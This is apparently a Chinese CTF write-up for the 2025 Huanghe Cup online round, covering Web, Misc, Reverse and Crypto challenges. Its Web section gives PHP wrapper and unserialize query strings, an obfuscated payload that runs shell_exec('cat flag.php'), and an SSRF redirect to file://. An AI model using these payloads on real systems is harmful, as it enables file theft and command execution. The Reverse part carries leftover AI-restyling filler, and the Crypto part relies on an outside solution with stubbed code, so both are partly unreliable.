2025黄鹤杯线上wp

2025黄鹤杯线上赛

Web

Code

php 复制代码
<?php
highlight_file(__FILE__);
include("aid.php");
if(!(isset($_GET["input1"]) && isset($_GET["input2"]) && isset($_GET["input3"])))
{
    die("Insufficient Inputs!");
}

$input1 = $_GET["input1"];
$input2 = $_GET["input2"];
$input3 = $_GET["input3"];

if($input1==0&&file_get_contents($input2)=="Welcome!"&&$input2==0)
{

    if(stripos("flag.php", $input1) === false)
    {
        echo file_get_contents($input1);
        $variable = unserialize($input3);
        $variable();
    }
}
php 复制代码
?input1=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php&input2=data%3A%2F%2Ftext%2Fplain%2CWelcome!&input3=N;

RCEME

参考CTFtime.org / TetCTF 2021 / Super Calc / Writeup

/?calc='(9222(1(((9222(2()''*^^-1%2b(*^^-2%2b())''%268%2b)81(%268%2b)82())'&1=shell_exec&2=cat+flag.php

邂逅redis

存在ssrf漏洞

多次尝试这题可以出网,本来想反弹shell,但是发现不能用gopher和dict,只能用http去访问服务器上次的文件了

在本地服务器,写入一个重定向的php文件

复制代码
<?php
header('HTTP/1.1 302 Found');
header('Location: file:///var/www/html/flag.php');
?>

然后去访问

MISC

Simple_pcap

压缩包密码1a2b3c

得到pcap流量包

直接工具分析出

flag{usbprotocolforfun}

中秋赏月

手改宽度

得到压缩包的密码

后面就是宽字符

flag{ee4752ccc2eed2124b3c65e21287d748}

日志分析

用winxp打开,然后保存日志文件为txt

flag{21:09:50}

RE

系统调试

好的,我们将以结构化、技术化的AI分析风格,对提供的逆向工程内容进行详细重构与扩充,强调逻辑推理、数据流追踪和关键结论的推导过程。


** 综合逆向分析报告**

** 概述**

目标程序为一个基于自定义编码验证的身份认证系统。核心逻辑涉及:动态链表的构建用户输入的编码转换与预设序列的比对。成功认证的条件是用户输入经编码后产生的整数序列必须完全匹配程序内嵌的密钥序列。

** 核心逻辑分解**

  1. 主函数 (main) 执行流程
  • 链表初始化 : 使用头插法动态构建一个包含10个节点的单向链表。每个节点存储一对映射关系:•Key: 一个整型值(从1到10)。•Value: 一个ASCII字符,由公式 Key + 109计算得出。
  • 用户输入处理: 读取标准输入,限制最大长度为6字节的字符串。
  1. 验证函数 (sub_40074D) 算法剖析

该函数是认证的核心,其算法可分解为三个明确阶段:

  • 阶段一:密钥序列定义

    在栈上静态初始化一个长度为6的整数数组 v7

    c

    下载

    复制

    运行

    复制代码
    v7[] = {5, 2, 7, 2, 5, 6};

    此序列即为认证成功的目标基准

  • 阶段二:输入编码转换 遍历用户输入的每个字符:•以当前字符作为查询条件,遍历前述链表。•在链表中找到首个Value与输入字符匹配的节点。•提取该节点的Key值,并将其存入临时数组 v6的相应位置。•此过程实质上完成了一次字符到整数的映射编码

  • 阶段三:序列验证 将编码后产生的数组 v6与目标密钥数组 v7进行逐元素比对。任何不一致都将导致认证失败。

️ 关键数据结构:编码映射表

由于链表采用头插法构建,最终顺序与创建顺序相反。映射关系如下表所示,此表是逆向编码的核心字典

整数 Key 计算过程 字符 Value 备注 (ASCII)
10 10 + 109 'w' 119
9 9 + 109 'v' 118
8 8 + 109 'u' 117
7 7 + 109 't' 116
6 6 + 109 's' 115
5 5 + 109 'r' 114
4 4 + 109 'q' 113
3 3 + 109 'p' 112
2 2 + 109 'o' 111
1 1 + 109 'n' 110

** 逆向推导解决方案**

我们的目标是:生成一个输入字符串,使其经过编码转换后恰好输出序列 {5, 2, 7, 2, 5, 6}

推导过程是一个简单的反向查表操作:

  1. 1.对于目标序列中的每一个整数,在上述映射表中查找其对应的Value(字符)。
  2. 2.将这些字符按顺序拼接,即构成有效载荷。

逐步推导:

序列索引 目标整数 对应字符 推导说明
0 5 'r' 查表,Key=5 对应 Value='r'
1 2 'o' 查表,Key=2 对应 Value='o'
2 7 't' 查表,Key=7 对应 Value='t'
3 2 'o' 查表,Key=2 对应 Value='o'
4 5 'r' 查表,Key=5 对应 Value='r'
5 6 's' 查表,Key=6 对应 Value='s'

✅ 最终结论

经逆向分析推导,满足程序认证条件的唯一有效输入为字符串:

rotors

将此字符串提交给程序,其编码转换结果将完美匹配内部密钥序列,从而通过验证。


** 分析总结表**

组件 分析结果 重要性
认证机制 自定义字符-整数映射比对 核心安全逻辑
密钥序列 {5, 2, 7, 2, 5, 6} 认证成功的基准
编码字典 10个键值对(详见映射表) 逆向解码的关键
有效载荷 'r' + 'o' + 't' + 'o' + 'r' + 's' Flag: rotors

此报告完整重现了从二进制代码到高级逻辑,最终推导出明文Flag的完整逆向工程工作流。

flag{rotors}

Crypto

栅栏里的保险箱

** 题目概述**

标题:RSA-栅栏里的保险箱

内容

  • •已知一个RSA加密的密文 c和一个大整数 n(即"栅栏里的保险箱"中给出的数字)。
  • •公钥指数 e并非常见的 65537,需通过分解 n得到私钥参数后枚举可能的 e进行解密。
  • •解密后的中间结果需进一步通过栅栏密码(Rail Fence Cipher)处理,最终得到flag。

** 已知信息**

    n 的分解(来自公开题解):

    复制

    复制代码
    p = 475983529392229563986300263627  
    q = 50994851324392722608175048292980313487272936248176620246821369736608473  
    n = p * q
    • n是一个101位复合数(FactorDB中标记为 C101),已被成功分解。
  1. 2.公钥指数 e:•非常规值,需通过枚举尝试(常见小指数或与φ(n)互质的整数)。

  2. 3.解密中间结果 :•使用 pq计算 φ(n) = (p-1)(q-1),枚举 e并尝试解密 c。•成功解密后的明文应包含字符 f, l, a, g, {, },形如flag格式。•题解中得到的中间明文为:f513lb9f22}a1a161gfe1f9{74ac82cc27cf23

  3. 4.栅栏密码处理 :•题面提示"栅栏"指栅栏密码(Rail Fence Cipher)。•对中间明文进行栏数为 7 的解密,得到最终flag:flag{2fc7f1b59ae4c22a11f126fc73c89123}


️ 解题步骤

第一步:分解 n

  • •通过FactorDB或已知分解结果直接得到 pq

第二步:计算 φ(n) 并枚举 e

python

下载

复制

运行

复制代码
phi = (p-1) * (q-1)
for e in range(2, 100000):  # 枚举范围需根据实际调整
    if gcd(e, phi) == 1:
        d = pow(e, -1, phi)
        m = pow(c, d, n)
        # 将m转换为字节串,检查是否包含flag特征字符

第三步:筛选可读明文

  • •解密后检查字符串是否包含 f, l, a, g, {, }
  • •题解中唯一匹配的中间结果为:f513lb9f22}a1a161gfe1f9{74ac82cc27cf23

第四步:栅栏解密

  • 使用栏数 7 对中间串进行栅栏解密:

    python

    下载

    复制

    运行

    复制代码
    def rail_fence_decrypt(cipher, rails):
        # 实现栅栏解密算法
        ...

    得到最终flag:

    flag{2fc7f1b59ae4c22a11f126fc73c89123}